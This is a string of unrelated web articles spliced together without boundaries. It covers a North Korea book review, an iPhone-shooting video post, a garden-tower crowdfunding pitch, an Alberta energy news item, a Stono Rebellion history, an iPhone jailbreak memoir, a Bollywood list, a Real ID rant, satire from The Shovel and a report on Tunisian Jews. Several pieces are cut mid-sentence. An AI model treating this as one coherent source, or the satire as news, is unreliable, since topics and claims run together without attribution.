actions no longer look bewildering or irrational. Instead of a grim list of
human rights violations, we get a glimpse into how real North Koreans navigate
a landscape of bribes and clandestine negotiations, love and secrets, homemade
hooch and stark contradictions. The authors’ analytical style falls in line
with “Marxist theory” and “ecological materialism”– their general argument is
that all this social, political, and cultural change has essentially flowed
from a fundamental shift in the economic environment.
The book is divided into chapters that each
delve into a different aspect of North Korean society, including the emergence
of private markets, cultural trends, communications, and the anatomy of the
party leadership. Most of the book focuses on contemporary North Korea, but Chapter
3 breaks this mold by going all the way back to Kim Il Sung’s rise in order to
illustrate how the distribution of political power has changed over time. Some
readers might be less interested in this, but it would be impossible to discuss the anatomy of the DPRK government without addressing the history of
the Kim family and their relationship with the OGD.
My only real gripe with the book isn’t one
of substance, but rather one of style. At times, the authors’ use of footnotes
– many in mid-sentence –interrupts the narrative flow. Some readers will lament
seeing important points being tossed out as mere asides. Footnotes seem rather
out of place in a popular, reader friendly work like this. On the other hand,
it is quite possible that other readers will find the tangential anecdotes and
supplementary information contained in the footnotes to be charming and
interesting, a worthy detour. At the end of the day, it is simply a matter of
taste.
Now to the heart of the story. Pearson and
Tudor dispel a number of common misconceptions about North Korea. First and
foremost is the idea that North Koreans are robots who can’t think for
themselves and are basically slaves to the state. While the vast majority of
North Koreans continue to toil in poverty, the authors show, through vivid
examples, how drastically things have changed over the last twenty years. Here
is a short list of the most common misconceptions, followed by a brief account
of how the authors have been able to put these myths to bed.
1. “North Koreans are mindless automatons;
they can’t think for themselves and are slaves to the state.”
The authors show that before the famine,
the career trajectory of North Koreans was restricted by the quality of their
songbun (family ties and political loyalty). Upward mobility was unheard of
outside a trusted circle of Pyongyang elite. But the 1990 famine or “Arduous
March” was devastating: an estimated one million died of hunger, food
allotments dried up, state salaries withered away, and entire government
agencies were required to fund themselves. The post famine free-for-all opened
up the country up to an entirely more mobile class structure. Pearson and
Tudor describe a North Korea that flies in the face of our expectations.
Everyday North Koreans watch foreign films and movies under the cover of
darkness, bribe their way up the ladder and out of jams, sell comic books at
market, and listen to foreign broadcasts through jerry-rigged radios. They can
even get “double-eyelid surgery” for 2 USD in a back alley.
2. “North Koreans know nothing of the
outside world; they know and believe only what the regime tells them.”
Officially speaking, North Koreans are only
allowed to watch preset TV and radio channels. But engineers at the jangmadang
can tweak your hardware for a price, giving you access to broadcasts from
international sources. But even the North Koreans who have come to realize the
ineptitudes of their government through exposure to foreign media do not thirst
for revolution. They instead favor graduated reforms, vis-a-vis more chances to
make money. USB sticks, containing movies, songs, and dramas, have exploded in
popularity of late. By and large, North Koreans mainly seek out foreign
information as a way to relax and they mainly sell it as a way to make money.
DVD and USB smuggling has increased proportionally, becoming an extreme
nuisance for Central Authorities. But since state salaries have been reduced to
pittance, agents from the Ministry of People’s Security are willing to look the
other way for a bribe. Money then has become an equalizer, affording those with
lots of curiosity, a risk taking personality, some spare won in their
pocket, and a glimpse at the outside world.
3. “North Korea is the world’s last holdout
Communist Dictatorship. There is no market to speak of, and the private sector
plays no role.”
Due to dried up central funding, most
government agencies now operate partnerships with local businesses to stay
afloat. Even the National Library started a trading company in the 1990s. De
jure systems for regulating the amsijang (black market) were introduced in fits
and starts. That necessitated an extensive and pervasive system of bribes and
kickbacks to fill in the cracks between state-sanctioned projects and private
enterprise. Members of the public and private worlds now exist as mutual
hostages of one another, unable to live with or without their counterparts. The
resulting corruption and necessity for constant bribes has created an uneasy
balance. The authors liken this system to a “protection racket,” with
entrepreneurs seeking out the sponsorship of powerful officials to legitimize
their operations. The regime uses every tool at its disposal to suppress
private sector leaders from usurping power. The most well cited example of a
government crackdown on the black market was the 2009 redenomination, during
which time the government devalued the relative worth of the North Korean won.
This wiped out the cash savings of amsijang (blackmarket) traders and created a
slave class by drastically reducing the market value of the wages doled out to
state employees. But the measure was an overall unsuccessful attempt to control
the grey markets. In the long run, it only succeeded in “pushing North Koreans
even further beyond the orbit of the state economic control.” The systematic
implementation of bribery on all levels has changed people’s perceptions, their
dreams, and their ability to climb upwards. Before the famine, the ideal North
Korean was loyal, spartan, and dedicated to the worker party. A smartly dressed
young professional using an iPad in a Pyongyang cafe is now the epitome of
success.
4. “The Kim Regime is focused only on
concentrating and abusing power at the expense of its people. It is backwards,
dysfunctional, and irrational.”
The authors depict the Kims and other top
officials in such a light that it’s often possible to understand their motives. Power sharing among the ruling
elite in North Korea has been a high-wire balancing act for some time now: the
Kims do not have absolute control. Like any country, factionalized sects duke
it out for control of appointments, policy decisions, and access to lucrative
deals. Pearson and Tudor reject the liberal/conservative, old power/new money
dichotomies that have typically been used by the Western media to describe the
situation, instead mapping out a much more complex web of individual actors and
institutions. In 1976, Kim Jong Il took it upon himself to secretly reroute his
father’s telephone lines through his office. He used the information he got
from spying on his father to curry favor and usurp power. Kim Il Sung never
intended for North Korea to be a hereditary dictatorship, but from 1973, Kim Jong Il
began revamping and shifting the locus of power towards the OGD, with him at
the helm. He used surveillance and control as a means to create an atmosphere
of fear among his people, banished 500 “non-loyal” officials, and carefully
appointed only those who demonstrated fierce loyalty to him. He was more astute
than the Western media would have you believe: he drank colored water in his
later years so he could watch his comrades drunkenly reveal their hands.
This book recommends itself. Anyone with
even a passing interest in North Korea is likely to find it captivating. To the
careful reader, it is clear that Pearson and Tudor have taken pains to
indicate that the vast majority of North Koreans remain poor, overworked, and
oppressed. The one thing that worries me is the prospect that a small minority
of readers might walk away thinking the outliers are the new norm, thinking the
new prototypical North Korean is a cell phone toting business man who spends
his weeknights wooing party cadres and his weekends watching American movies.
While that kind of Pyonghattanite no doubt exists, he is by no means
representative. Looking at the facts on the ground, it certainly is the
case that the economy has improved since the famine days, people are forcing de
facto liberalizations by disregarding anachronistic laws, and the songbun caste
system’s slow degradation is opening up room for an emerging middle class. The
authors also shine a light on the North’s draconian penal system, the pervasive
system of bribery that has saturated every nook and cranny of institutional
life, and the endemic corruption at the heart of the political system. It is a
measured and balanced look at North Korea, one that doesn’t shy away from the darkness
or the light. Overall, the authors’ voice is refreshing, their storytelling is
gripping, and their analysis is perceptive. North Korea Confidential is
definitely worth a read.
North Korea Confidential, already out in Asia with releases in both the United States and Europe to come in mid-April, is available here.
Those unable to view the embedded video can listen here.Look, I have no idea what would compel someone to take a brand new electronic device and deliberately damage it.
I really have no idea what would compel someone to take a fragile object made of silicon, glass and aluminum, sit it up on a ledge and put—with great velocity—a pointed copper-and-lead round through it. (YouTube views, I think.)
But that's what the folks at RatedRR have done in their latest episode. (They seem to have a thing for tech and projectiles.)
Whether you're a fan of Apple's newest device or hate the thing is no matter: there's a reassuring—albeit senseless—feeling watching an object that so demands attention from our lizard brains (notifications! colors! animations! sounds!) get a dose of the cold, hard physical world.
That dose comes courtesy of a Barrett Model 82A1 military rifle, which will run you about $9,000 and move a bullet up to 3,200 ft. per second, or about 975 meters per second.
Say it with me: I love my phone; I hate my phone. Now breathe deep. Ahhhh.-------------------------------------------------------------------------------------------------
Thank you to our amazing backers for a spectacular launch of the Garden Tower 2! See project updates to watch the progress! -- Click here.
Enter coupon code “kickstarter” during checkout for special savings
-------------------------------------------------------------------------------------------------
"The Garden Tower is the solution for food deserts......this is exactly what our cities need." -- Will Allen, Growing Power (Milwaukee, WI)
In our last kickstarter, backers helped us raise almost $90,000 to begin producing Garden Towers by hand. Since then we've shipped over 4,000 towers to the people of the United States. Across all different climates, and installed in yards, patios, decks, balconies, and roof-tops alike, Garden Tower owners love --
Growing 50 plants in just 4 square feet of space
Using food scraps to power the integrated vermi-composting nutrient delivery system (the core of every Garden Tower)
Harvesting the freshest, most nutritious veggies, fruits, & herbs
Avoiding herbicides, pesticides, and other contaminants
Having their own 'garden' in places it wasn't possible before
Enjoying better success and vastly reduced water use in hot climates and longer growing seasons in cold regions
Reducing their grocery bill, food waste, and trash!
Employing the Garden Tower as a powerful component in education programs about food, gardening, and ecological processes
Gardening with ease -- for fun, for food, and for life!
Hand-built (original) Garden Tower users across the USA -- Thank you early-adopters!
The moment a person begins growing food in a Garden Tower they are closer to a healthier life and contributing to a more resilient system of agriculture. It's imperative that we work to distribute Garden Towers efficiently and globally, which is why we are here today.
We've created an all-new generation of Garden Tower that performs better, has new features, and is machine manufactured versus the current intensive hand-built process that severely limits the Garden Tower's distribution.
The design, prototyping, and manufacturing of the new Garden Tower has been extremely complex as it involves creating very costly precision molds. With the capabilities of the core Garden Tower concepts well proven we felt confident in taking that next step, investing our lives, and are astounded with the results:
Introducing the Garden Tower 2
A breakthrough in small-space gardening, the Garden Tower 2 is an ecological nutrient recycling system taken to a whole new level. The new design is simple, elegant, and extraordinarily easy to use.
The Garden Tower 2 design superimposed over actual Garden Tower 1.1 user photos
A look inside the Garden Tower 2: An organic ecosystem for food production -- Kitchen scraps in, organic produce out!
While the first Garden Tower worked well, here are some of the things we've improved:
Enhanced nutrient distribution: The vermicompost tube at the core of every Garden Tower features 265% more perforations for greater access by plant roots and enhanced vermicompost aeration
The vermicompost tube at the core of every Garden Tower features 265% more perforations for greater access by plant roots and enhanced vermicompost aeration Stacking & nesting planting rings: Customizable tower height and substantially reduced shipping size
Customizable tower height and substantially reduced shipping size It rotates! 360 degree rotation made possible by a robust integrated bearing track = optimized sun exposure and better plant access
360 degree rotation made possible by a robust integrated bearing track = optimized sun exposure and better plant access Removable compost tea drawer and compost screen: A major ease-of-use upgrade for better access and less bending over
A major ease-of-use upgrade for better access and less bending over Wide, reinforced, anchorable feet: Easily install castors wheels or attach the tower securely to a rooftop, etc.
Easily install castors wheels or attach the tower securely to a rooftop, etc. 100% Recyclable, Food-contact grade plastic: No plasticizers, no BPA, no phthalates. Only food-grade dye, antioxidant for UV protection, and high quality USA HDPE & polypropylene plastics
Shown above as it comes RIGHT OUT OF THE BOX, the Garden Tower 2 can be configured with two additional rings (not pictured) for even more plants
To produce the all-new Garden Tower we need to fulfill a minimum number of orders for production to be efficient and economically sustainable. For this brief Kickstarter only we are able to offer the Garden Tower 2 for only $232 delivered to the doorstep of the Kickstarter community. This pricing will never be offered again. Beyond this event, the Garden Tower 2 will sell for $350 to $400 to allow independent garden stores to cover their expenses and offer the Garden Tower 2 directly to customers (most stores need to bring in two dollars on every dollar they spend). If we meet this funding goal together it enables you and a huge community of new and lifelong gardeners to take control of their agriculture, health, and access to food.
Want to learn more about the Garden Tower Project story and how the Garden Tower works? Take a look at this 3-minute video featuring the original Garden Tower:
The 2015 growing season will be upon us before you know it, and now is the perfect time to be prepared with a new option to grow your food as you choose with the many added conveniences and enhancements available with the Garden Tower 2.
Gardening in your community (by any method possible) helps to:
Increase the sustainability of the food supply
Improve Food Security in urban and suburban communities
Transform Food Deserts into more healthy, liveable areas
Reduce dependence on the centralized agriculture system creating a more resilient, efficient distributed agriculture system
Rewards!
(All rewards listed below are still available!) (we ship to Canada!)
$x - We're sending Christmas & Holiday Postcards to stuff in stockings with every pledge level! (address request form will be sent by email Dec 10th)
$5 - Fund "Give a School a Garden" programs! The Project matches these donations transforming your generosity into fuel for passionate educators to implement turn-key ecological programming at schools we've connected with from Hawaii to Nova Scotia.
$180 - Actually "Give a School a Garden!" We currently work with over 45 schools and have many on the waiting list. Have a school in mind? The first step is to identify a passionate instructor that we can coordinate with.
$218 - Local Supporter Special -- Pickup a Garden Tower 2 in Bloomington, Indiana in March. Oh, and we're throwing in a whole lot of good quality potting soil!
$232 - ONE GARDEN TOWER 2 shipped to your door this February.This INCLUDES the cost of shipping to all 50 US States and Puerto Rico! (most popular: click here to pre-order)
$440 - TWO GARDEN TOWER 2's shipped to your door this February. This INCLUDES the cost of shipping to all 50 US States and Puerto Rico!
$650 - THREE GARDEN TOWER 2's shipped to your door this February.This INCLUDES the cost of shipping to all 50 US States and Puerto Rico!
$1600 - EIGHT GARDEN TOWER 2's shipped by freight this February. This INCLUDES the cost of shipping to all 50 US States!
$1650 - EIGHT GARDEN TOWER 2's and a massive high quality collection of organic Non-GMO seeds shipped by freight this February.This INCLUDES the cost of shipping to all 50 US States!
$2500 - Below-zero-profit Community Garden Installation anywhere is the USA or Canada. We work with your community to implement your vision of a community garden. 100% of funds go to materials, freight costs, and equipment (not our time, human travel, writing, etc.). Have a vision? Share it with us and we will do everything we can to make it a reality.
Enter coupon code “kickstarter” during checkout for special savings
Visit www.GardenTowerProject.com for more information
Here are some things our customers have had to say:
Nick A. (Texas)
Thank you so much for our Garden Tower. We love it and eat off it everyday.
Jim K. (Indiana)
I have absolutely been loving my Garden Tower...THANK YOU! It's been brilliant.
Mary Anhueser (Indiana) (click on video!)
Linda N. (Florida)
When I saw the garden tower I squealed with delight. How brilliant, how perfect for my needs. I can compost and have a garden no matter where we are!!!!!!! I was so excited I went ahead and ordered it yesterday. I cannot wait to be picking veggies and eating them right then from my garden tower. Thanks again!
Garden Tower Testimonials (click here)
Find many more photos and stories on our facebook page. We look forward to hearing about your Garden Tower 2!
The making of the Garden Tower 2:
Ultra accurate, state-of-the-art full-scale prototyping
High precision injection molds have been built for every component of the Garden Tower 2
Garden Tower Project on Facebook
See our YouTube Channel
Garden Tower Photo Stream
The Garden Tower Project Website
We appreciate your consideration. From all of us at the Garden Tower Project, we sincerely thank you for your support!
Colin, Tom, Joel, and our Team
Additional Resources:
Video: Organic Patio Farming with the Garden Tower -- Created by StartUp-USA and featured on PBSAlberta Energy Minister Marg McCuaig-Boyd says the government’s delayed royalty review will finally be out this week.
After promising the review would be completed by the end of 2015, the Notley government moved the deadline to the end of January.
McCuaig-Boyd confirmed in an interview Monday the report will be out later this week.
The review will drop in the midst of a massive downturn as the energy sector has been pummelled by world oil prices that have dropped at times to under US$30 a barrel.
McCuaig-Boyd said the government has tried to be transparent with the oilpatch through its consultations and there should be "no surprises."
"I can’t say what industry will say but they will be pleased by the process," she said.
"We won’t do anything right now to make the situation worse."
McCuaig-Boyd would not say whether there will be incentives to spur new drilling contained in the report.
She said the review addresses issues around increasing refining and upgrading and further developing the petrochemical industry in the province, but would not comment on specifics.South Carolina, September 9, 1739: A band of slaves march down the road, carrying banners that proclaim "Liberty!". They shout out the same word. Led by an Angolan named Jemmy, the men and women continue to walk south, recruiting more slaves along the way. By the time they stop to rest for the night, their numbers will have approached one hundred.
What exactly triggered the Stono Rebellion is not clear. Many slaves knew that small groups of runaways had made their way from South Carolina to Florida, where they had been given freedom and land. Looking to cause unrest within the English colonies, the Spanish had issued a proclamation stating that any slave who deserted to St Augustine would be given the same treatment. Certainly this influenced the potential rebels and made them willing to accept their situation. A fall epidemic had disrupted the colonial government in nearby Charlestown (Charleston), and word had just arrived that England and Spain were at war, raising hopes that the Spanish in St. Augustine would give a positive reception to slaves escaping from Carolina plantations. But what may have actually triggered the rebellion on September 9th was the soon-to-be-enacted Security Act.
In mid-August, a Charlestown newspaper announced the Security Act. A response to the white's fears of insurrection, the act required that all white men carry firearms to church on Sundays, a time when whites usually didn't carry weapons and slaves were allowed to work for themselves. Anyone who didn't comply with the new law by September 29 would be subjected to a fine.
Whatever triggered the Rebellion, early on the morning of the 9th, a Sunday, about twenty slaves gathered near the Stono River in St. Paul's Parish, less than twenty miles from Charlestown. The slaves went to a shop that sold firearms and ammunition, armed themselves, then killed the two shopkeepers who were manning the shop. From there the band walked to the house of a Mr. Godfrey, where they burned the house and killed Godfrey and his son and daughter. They headed south. It was not yet dawn when they reached Wallace's Tavern. Because the innkeeper at the tavern was kind to his slaves, his life was spared. The white inhabitants of the next six or so houses they reach were not so lucky -- all were killed. The slaves belonging to Thomas Rose successfully hid their master, but they were forced to join the rebellion. (They would later be rewarded. See Report re. Stono Rebellion Slave-Catchers.) Other slaves willingly joined the rebellion. By eleven in the morning, the group was about 50 strong. The few whites whom they now encountered were chased and killed, though one individual, Lieutenant Governor Bull, eluded the rebels and rode to spread the alarm.
The slaves stopped in a large field late that afternoon, just before reaching the Edisto River. They had marched over ten miles and killed between twenty and twenty-five whites.
Around four in the afternoon, somewhere between twenty and 100 whites had set out in armed pursuit. When they approached the rebels, the slaves fired two shots. The whites returned fire, bringing down fourteen of the slaves. By dusk, about thirty slaves were dead and at least thirty had escaped. Most were captured over the next month, then executed; the rest were captured over the following six months -- all except one who remained a fugitive for three years.
Uncomfortable with the increasing numbers of blacks for some time, the white colonists had been working on a Negro Act that would limit the privileges of slaves. This act was quickly finalized and approved after the Stono Rebellion. No longer would slaves be allowed to grow their own food, assemble in groups, earn their own money, or learn to read. Some of these restrictions had been in effect before the Negro Act, but had not been strictly enforced.
previous | nextFeature
It was 2007, and I really wanted a first-generation iPhone, but I did not have a lot of money. I did, however, have the technical knowhow necessary to save a few bucks.
I lusted after that first iPhone.
Editor's note: June 29, 2017 the 10th anniversary of the iPhone. AppleInsider will be posting stories, testimonials and anecdotes on the history of Apple's groundbreaking device throughout the day. Feel free to chime in with your own in the comments.A year out of college and not particularly prosperous at a job as a newspaper reporter covering local county government, the cost of the iPhone hardware itself wasn't my main deterrent (though it certainly played a factor). The main stumbling block was the Cingular/AT&T data plan.At launch —and for many years afterwards —the iPhone in the U.S. was exclusive to AT&T. It was a brilliant move by Apple cofounder Steve Jobs, giving the company leverage to control the hardware and software on its fledgling platform.It also made for an expensive investment, particularly at a time when consumers were not used to paying for mobile data plans.Back in 2007, I was a T-Mobile customer on a family plan, paying a basic rate for an allotment of minutes for calls (remember those?), as well as a handful of SMS text messages. I had been with T-Mobile since the days of VoiceStream Wireless, and for primarily one reason: It was cheap.But I lusted after that first iPhone. When it was unveiled at Macworld in January of 2007, I watched the announcement video countless times. When my friend bought one on launch day that June, I couldn't stop being wowed by the finger-based touchscreen, vibrant color display, and brilliant slide-to-unlock gesture that ensured it wouldn't make phantom calls from my pocket.
All I needed to know was that I could get the internet on my 4-gigabyte iPhone with T-Mobile for a measly $5 a month.
Jailbreaking: A necessary evil
The turning point for me was twofold. First, after just a few months on the market, Apple dropped the price of the first iPhone by $200. The company also phased out the 4 gigabyte model and dropped it to a $299 bargain price. Now that was something I could afford.The second shoe dropped when the iPhone had been jailbroken, and hackers figured out a way to not only get it to operate on T-Mobile's network, but to gain compatibility with the carrier's budget Wireless Application Protocol (WAP) service.In the early days of smartphones, WAP was like a limited, slow version of the mobile internet that only worked with HTML. Thrifty hackers, however, found ways to make smartphones, including the first-gen iPhone, route all data through WAP protocols via port forwarding.But forget all of the technical mumbo jumbo. All I needed to know was that I could get the internet on my 4-gigabyte iPhone with T-Mobile for a measly $5 a month.None of this was particularly by the book, and I'm not especially proud of it. Buying the phone at the AT&T store, I had to tell the retail employee that I was purchasing the handset as a gift, because otherwise they wanted proof that I was an AT&T customer (the phone, at $299, was fully subsidized, but users activated it on their own at home).When I got it home, the first iPhone jailbreak process was not for the faint of heart, requiring me to connect to the device via a Windows box and SSH, and then manually enter a series of Terminal commands. If I recall correctly, the entire process took me about an hour and a half, but it worked the first time —I popped in my T-Mobile SIM and I was good to go.
Finding a second (and third, and fourth) life
10 years later, it still works, and it still wows
Today we tap and swipe and pinch to zoom like it's second nature, but in 2007 it was a revelation. Or maybe witchcraft.
Over the years, jailbreaking developed a bad reputation (some of it rightfully so), as some users relied on the process to steal content from the App Store.For me, the jailbreaking experience and intent was very different. Over that first year, there wasn't even an App Store, while jailbreakers were already creating third-party apps that ran natively. One of the more impressive early options was an app that allowed me to display a series of photos on a virtual table, and to use multi-touch to expand or shrink the pictures as desired —a gimmick replicating what Microsoft had shown off on its jumbo-sized Surface table at the time.Living with a jailbroken iPhone on an unapproved carrier was dicey. A cat-and-mouse game took place, with Apple looking to patch security holes while hackers looked for new ways to exploit the iPhone operating system. You couldn't just install new updates as they came out —you had to wait a few weeks for jailbreakers to crack them open, otherwise I could lose my phone, text and data access with T-Mobile.There were concessions, of course. One of the first iPhone's defining features, Visual Voicemail, didn't work at all when used on an unapproved carrier. And man, was the WAP cellular data slow.The 4-gigabyte capacity didn't bother me, however. I have always had a massive music collection, and for years (until iTunes Match debuted), I relied on a 160-gigabyte iPod classic to keep my collection with me.I kept the first-generation iPhone as my primary daily phone for another three years. By that point, I had begun working at AppleInsider, and staying on the old hardware was no longer realistic.My jailbreaking days came to an end, I bought an iPhone 4, and I switched to AT&T in 2010. Total sellout.I have always hated letting old technology collect dust, so my first-generation iPhone wasn't officially retired.Though that first iPhone lacked a GPS radio, and the Bluetooth connectivity on it was severely limited, through the magic of the Cydia jailbreak application store, I found an app that let me connect my iPhone to a Bluetooth GPS receiver. With a smartphone vehicle clip, I mounted the 3.5-inch, low-resolution iPhone on my car's dash, and used it as a poor man's TomTom navigation system.That first iPhone had a good second life as my car's GPS, but even that had to come to an end. I eventually replaced it three years later, in 2012, with a cheap Google Nexus 7 tablet I mounted in my dash for a cleaner aesthetic. And I rooted Android on it, naturally.My first iPhone wasn't dead yet, though. At that point, I began searching to see what else I could do to extend its shelf life. I installed mods that brought new iOS features added long after the first-generation iPhone was no longer being updated, including app folders and video recording capabilities.I even discovered a program that allowed me to install Android on it, in a dual-boot setup known as iBoot (blasphemy, I know).My iPhone's last run came a few months later, in late 2012, when a relative's phone died, and they were in need of a temporary device to hold them over until they could afford something else. I offered my now-ancient iPhone, and they accepted. It still made calls and sent texts and allowed her to browse the web. It still got the job done.Finally, the iPhone was put into retirement, powered down and placed in a drawer. I dug it out this week, charged it via a 30-pin cable and booted it up. It still worked.It still has Android and iBoot installed. I opted for iOS upon launch, and found that text messages and calls from the last owner remain intact. Even the battery has held up —after sitting idle on my desk for a night, it fell from about 90 percent to 66 percent the next morning.Using the first iPhone again, it was nice to appreciate how far we've come. The design is solid, though chunky. The original iPhone's display is extremely low resolution, and just reading small fonts in Maps was difficult. Loading content on the web and scrolling is extremely slow.And yet, as I played with it, I was amazed at how many of the basic tenets of modern smartphones that we now take for granted were all baked into that first-generation device. Today we tap and swipe and pinch to zoom like it's second nature, but in 2007 it was a revelation. Or maybe witchcraft.Apple's first iPhone was a landmark achievement, a device that irreversibly changed the very way we communicate with each other. Ten years later, it stands as a turning point in our modern society, a seismic shakeup that changed our world —and yes, even changed our monthly cellular budgets.I'm just glad that, way back in 2007, I found a way to afford it.Most people in America are plenty familiar with Hollywood and the various sexy actresses that appear in the movies it produces. Unfortunately, most Americans are not familiar with Bollywood, India’s version of Hollywood and a source of many of the world’s beauties. Let’s try to rectify that a bit by meeting some of the hottest women Bollywood has to offer.
If you’re not familiar, Bollywood is the informal term popularly used for the Mumbai-based Hindi-language film industry in India. The term is often incorrectly used to refer to the whole of Indian cinema. There is a substantial amount of India’s cinema that is not included in the term Bollywood. That means that a number of great looking women were not eligible for this list. For one example, look to your left at Brinda Parekh. However, Bollywood is the largest part of the Indian film industry and one of the largest in the world.
The women of Bollywood are generally from India, although there are exceptions. Remember this is a country of over a billion people, so there’s plenty of women to choose from. For reference, India is almost quadruple the population of the United States. Many of the women on this list got their start in models and beauty pageants. There’s a few Miss Indias and at least one Miss World and one Miss Universe in these rankings. In fact, India has had an amazing run of success in international pageants, reflecting the great beauty of their women.
If you’re looking for future faces of Bollywood, one might start with current Miss India Parvathy Omanakuttan. You can check out pictures of her in our Miss World 2008 post. Or maybe you’ll simply enjoy a picture of the Miss India runner-up, Simran Kaur Mundi. I’ve posted one to the right for your viewing pleasure. The future prospects look good.
Of note is that there has been a growing presence of Indian English in Bollywood films. It is not uncommon to see films that feature dialogue with English words and phrases, even whole sentences. There are also a growing number of films made entirely in English. Maybe we will soon see a blending of the two hemispheres with more of these women in films that can easily be seen in the United States.
Until that time, however, you can enjoy these rankings and get to know some women you might not yet know of (click on image or name for a full gallery and background on each girl) :You may have thought – hoped – you could dodge the creepy “real” ID driver’s license the feds have been pushing since the terrorists who hate us for our freedoms gave the feds the excuse they needed to take away our freedoms. Including, for instance the freedom to travel.
Without permission, that is.
Without being ear-tagged like a steer, with biometic identifiers unique to each individual, such as a digitized photo (for use with facial recognition technology) as well as a bar code/scannable strip that contains all your vitals such as Social Security number, date of birth, address and so on. Some “real” IDs have RFID chips – which can be used to track/scan you in real time without you even opening your wallet.
And we’re all going to be forced to carry them around.
Because without one, you’ll be stripped of your ex-right and former liberty to travel.
Unable to drive. Unable to travel by air or train.
It’s the usual offer you can’t refuse.
Like being a “customer” of the DMV or the IRS.
These “real” ID cards are being sold to the populace using the ought-to-tired-by-now (but unfortunately, isn’t) canard about “security” and thwarting would-be evildoers.
In fact, great evil is made possible, made likely, by them – from the merely annoying (identify theft, fraud; all your personal data in one place and now scannable by anyone – not just the benevolent state – with the right equipment ) |
me.” Was that because she thought my prayers were not plain? Because she believed everyone to be a tzaddekes just like her? She thought our prayer – my prayer – really, deeply matters. A woman who was universally acknowledged to be extremely holy was asking for my pedestrian tefillos.
In sum, I learned a universe about how to be me from both Henny Lustig and Rebbetzen Henny Machlis. Each taught me that observant Jewish women can fully actualize their own potentials; that we each can choose to make a tangible difference, and that our voices matter in both the physical world and the spiritual world. It is not naive to think that we have inside of us the potential to change the world for the better. That so long as we don’t lose faith in our own bottomless ability, we can accomplish exceptional things. And the most powerful lesson of all: that maybe righteousness resides in regular people who don’t stop believing in their unlimited potentials. Holy people are not always otherworldly. That each of us can perhaps be nurtured to become a tzaddekes in our own unique image. And that to me is the most precious – if belated – lesson of all. In this way, may her memory be a powerful and abundant blessing to each of us.
Share
426 SharesAustralia’s economy looks set to continue its strong growth, with key economic indicators showing no boats arrived in the last quarter.
“For those looking for a job, for those in small business, for those looking to invest, what we can say is the boats have stopped,” Prime Minister Tony Abbott said today.
He said Australia’s unemployment rate was predicted to fall to no boats in the lead up to Christmas. “This is good news, in particular for young people entering the jobs market”.
Year-on-year business confidence also showed a total lack of boats, while Mr Abbott said the share market would strengthen in coming months to no irregular maritime arrivals.
Follow The Shovel on Facebook and Twitter or sign up for email updates at the bottom of this page.San Diego Floral Association
Classes
Check back for more class dates.
ABOUT SDFA CLASSES
LOCATION: Classes will be held in Balboa Park, Casa del Prado, 1650 El Prado, Room 104
INFORMATION: Call the Floral Association office library, 619-232-5762, visit www.sdfloral.org. or email the instructor.
REGISTRATION AND PAYMENT: Pay online at www.sdfloral.org (PayPal) or mail a check payable to SDFA with your name, phone, email and the instructor’s name to: SDFA Office/Library, 1650 El Prado, #105, San Diego, CA 92101-1684. Payment can be made to the Office staff during business hours, 10 a.m. to 3 p.m. weekdays.
Call the office before coming at the number above.
CANCELLATION: Classes must have a minimum of 10 registrants at least two days before the class meeting in order to be held.
Notification will be made by phone and the fee is refunded if there are not 10 registrants.
REFUNDS: Fees are non-refundable except for a medical emergency, jury duty or when insufficient registration results in a class cancellation.
Mission: To promote the knowledge and appreciation of horticulture and floriculture in the San Diego region.Tunisia has a long Jewish history - Jews were present in North Africa before the arrival of Islam or Christianity. In good times they prospered and in hard times they bore the brunt of discrimination, but now they are at risk of extinction. Of 100,000 before the creation of Israel in 1948, only about 1,500 are left.
After the revolution that ousted President Zein al-Abidine Ben Ali last year, there have been ominous signs. More than once, hardline Salafists have staged demonstrations shouting "Death to the Jews".
This has alarmed many in Tunis's tiny Jewish community.
"In around 15 years, we start to speak about the Jewish community in the past tense," says Jacob Lellouche, the only Jew who tried to win a seat on the assembly drafting Tunisia's new constitution. (He didn't succeed.)
But while he is gloomy about the future he is also a dreamer, and the centrepiece of his dream is a small villa in the seaside suburb of La Goulette.
The white two-storey colonial era house has a blue metal gate that carries a big sign - Mamie Lily Restaurant. Lily is his 85-year-old mother and the master chef.
"She is the heart and the memory of Jewish cooking in Tunisia," says the chain-smoking Lellouche.
He left Tunisia in 1978 to study marketing and economics in France but decided to return to his roots in 1996, to live with his mother and to found "the last kosher restaurant in Tunisia".
"I want to invite my clients to a cultural trip… to an old Jewish house with a Jewish mamie in the kitchen," he says.
Image caption A Tunisian Jewish couple in 1900
"When she speaks to the clients it's like a Jewish mother speaking to her kids. 'Don't put salt on this, it's not good… No, it's enough, you don't have to eat this or that,'" he adds, letting out a croaky laugh.
Lellouche says there are traces of Jewish culture everywhere in Tunisia, in music, handicraft, literature and names. He hopes that all Tunisians will one day become aware of their common culture and history regardless of their religion.
In the kitchen, Lily sits on a low stool. In front of her is a big bowl of okra - the dish of the day.
She has sparkling brown eyes, a deep voice and an unmistakable air of authority. Like most Tunisians she mixes Arabic with French freely. How is life in Tunisia today, I ask?
"On etait mieux avec Ben Ali," she says. ("Things were better under Ben Ali.")
Why was it better before?
"On a peur de Salafis," is her short answer. ("We are afraid of the Salafists.")
The emergence of the hardline Salafists - a brand of Islam practised in Saudi Arabia which adopts a literalist interpretation of the Koran and preaches strict separation of the sexes, and rejection of Western lifestyles - has taken everyone by surprise.
By all accounts they are a tiny minority, but they are vocal, active and prone to violence.
Lellouche foresees the end of Jewish life in Tunis - though he thinks it will survive on the island of Djerba in the south.
A few blocks away from Mamie's restaurant is Beit Mordechai, a small modern synagogue that is difficult to distinguish from the other residential houses on the narrow street.
When I arrive during the evening prayer the atmosphere is warm and informal. The grown-ups are praying, the kids are running around. It's a small congregation and someone has prepared a cake to share after the prayer.
Ellie Attoun, a 39-year-old businessman, is originally from the south, but during the Israeli invasion of Lebanon in 1982 there were demonstrations against the Jews there and his family relocated to the capital.
He says he was optimistic when the revolution broke out last year, the first episode of the Arab Spring.
The Exodus Image caption Tunisia synagogue As reports of Zionist settlers driving Palestinians off their villages hit Arab capitals during the 1940s anti-Jewish sentiment hit new heights
Mob violence, including murder, and confiscation of Jewish property made life impossible for Egyptian, Iraqi and North African Jews
In Egypt there were 75,000 Jews before 1948, but after four wars with the state of Israel only a handful remain
Iraq was once home to 135,000 Jews, an ancient community that thrived for millennia - it's said that only seven remain
The largest Jewish community in North Africa today is in Morocco, estimated by Professor Maurice Roumani to be 17,000 in 1976 - the remnants of a pre-1948 community of 260,000
Tunisia's Jews (some 105,000 before 1948) left in two waves - at the time of independence from France in 1956, and after the Six-day war between Israel and Arab neighbours in 1967
